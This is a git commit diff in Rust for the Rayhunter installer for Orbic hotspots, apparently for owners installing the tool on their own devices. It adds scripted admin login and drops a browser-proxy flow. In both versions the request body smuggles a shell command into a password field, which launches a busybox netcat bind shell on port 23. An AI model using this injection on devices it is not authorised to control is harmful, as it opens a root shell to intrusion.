Add --admin-password to orbic-network installer, update docs

Also add some more debug-logging to telnet_send_file since it appears
to be janky on my device.

see #599
This commit is contained in:
Markus Unterwaditzer
2025-10-05 12:43:02 +02:00
committed by Cooper Quintin
parent fa5c2bf5d1
commit 1a80a0576c
6 changed files with 260 additions and 137 deletions
+117 -115
View File
@@ -4,21 +4,11 @@ use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Result, bail};
use axum::{
Router,
body::Body,
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use reqwest::Client;
use serde::Deserialize;
use tokio::sync::mpsc;
use tokio::time::sleep;
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::util::{echo, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
@@ -27,16 +17,127 @@ struct ExploitResponse {
retcode: u32,
}
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
println!("Waiting for login and trying exploit... ");
login_and_exploit(admin_ip).await?;
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
let client = Client::new();
// Step 1: Get login info (priKey and session cookie)
let login_info_response = client
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
.send()
.await
.context("Failed to get login info")?;
let session_cookie = login_info_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.context("No session cookie received")?
.split(';')
.next()
.context("Invalid cookie format")?
.to_string();
let login_info: LoginInfo = login_info_response
.json()
.await
.context("Failed to parse login info")?;
if login_info.retcode != 0 {
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
}
// Parse priKey (format: "secret x timestamp")
let mut parts = login_info.pri_key.split('x');
let secret = parts.next().context("Missing secret in priKey")?;
let timestamp = parts.next().context("Missing timestamp in priKey")?;
if parts.next().is_some() {
bail!("Invalid priKey format: {}", login_info.pri_key);
}
// Step 2: Encode credentials
let username_md5 = format!("{:x}", md5::compute(username));
let timestamp_start = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
.context("Failed to encode password")?;
let login_request = LoginRequest {
username: username_md5,
password: encoded_password,
};
// Step 3: Perform login
let login_response = client
.post(format!("http://{}/goform/login", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", &session_cookie)
.json(&login_request)
.send()
.await
.context("Failed to send login request")?;
// Extract authenticated session cookie from login response
let authenticated_cookie = login_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
.unwrap_or(session_cookie);
let login_result: LoginResponse = login_response
.json()
.await
.context("Failed to parse login response")?;
if login_result.retcode != 0 {
bail!("Login failed with retcode: {}", login_result.retcode);
}
// Step 4: Exploit using authenticated session
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", authenticated_cookie)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
.send()
.await
.context("failed to start telnet")?
.json()
.await
.context("failed to start telnet")?;
if response.retcode != 0 {
bail!("unexpected response while starting telnet: {:?}", response);
}
Ok(())
}
pub async fn start_telnet(
admin_ip: &str,
admin_username: &str,
admin_password: &str,
) -> Result<()> {
echo!("Logging in and starting telnet... ");
login_and_exploit(admin_ip, admin_username, admin_password).await?;
println!("done");
Ok(())
}
pub async fn install(admin_ip: String) -> Result<()> {
start_telnet(&admin_ip).await?;
pub async fn install(
admin_ip: String,
admin_username: String,
admin_password: String,
) -> Result<()> {
echo!("Logging in and starting telnet... ");
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
println!("done");
echo!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?;
@@ -45,105 +146,6 @@ pub async fn install(admin_ip: String) -> Result<()> {
setup_rayhunter(&admin_ip).await
}
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
#[derive(Clone)]
struct ProxyState {
client: HttpProxyClient,
admin_ip: String,
session_sender: mpsc::Sender<String>,
}
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
// Check for existing session cookie in request
if let Some(cookie_header) = req.headers().get("cookie")
&& let Ok(cookie_str) = cookie_header.to_str()
&& cookie_str.contains("-goahead-session-")
{
let _ = state.session_sender.send(cookie_str.to_owned()).await;
}
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or("/");
let uri = format!("http://{}{}", state.admin_ip, path_query);
*req.uri_mut() = Uri::try_from(uri).unwrap();
let response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?;
Ok(response.into_response())
}
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
.build(HttpConnector::new());
let (tx, mut rx) = mpsc::channel(100);
let app = Router::new()
.route("/", any(proxy_handler))
.route("/{*path}", any(proxy_handler))
.with_state(ProxyState {
client,
admin_ip: admin_ip.to_owned(),
session_sender: tx,
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.context("Failed to bind to port 4000")?;
println!(
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
);
println!("Username: admin");
println!(
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
);
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let exploit_client = Client::new();
let mut last_error = None;
while let Some(cookie_header) = rx.recv().await {
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
Ok(_) => {
handle.abort();
return Ok(());
}
Err(e) => last_error = Some(e),
}
}
handle.abort();
bail!("Failed to receive session cookie, last error: {last_error:?}")
}
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", cookie_header)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
.send()
.await?
.json()
.await?;
if response.retcode != 0 {
bail!("unexpected response: {:?}", response);
}
Ok(())
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
let timeout = Duration::from_secs(60);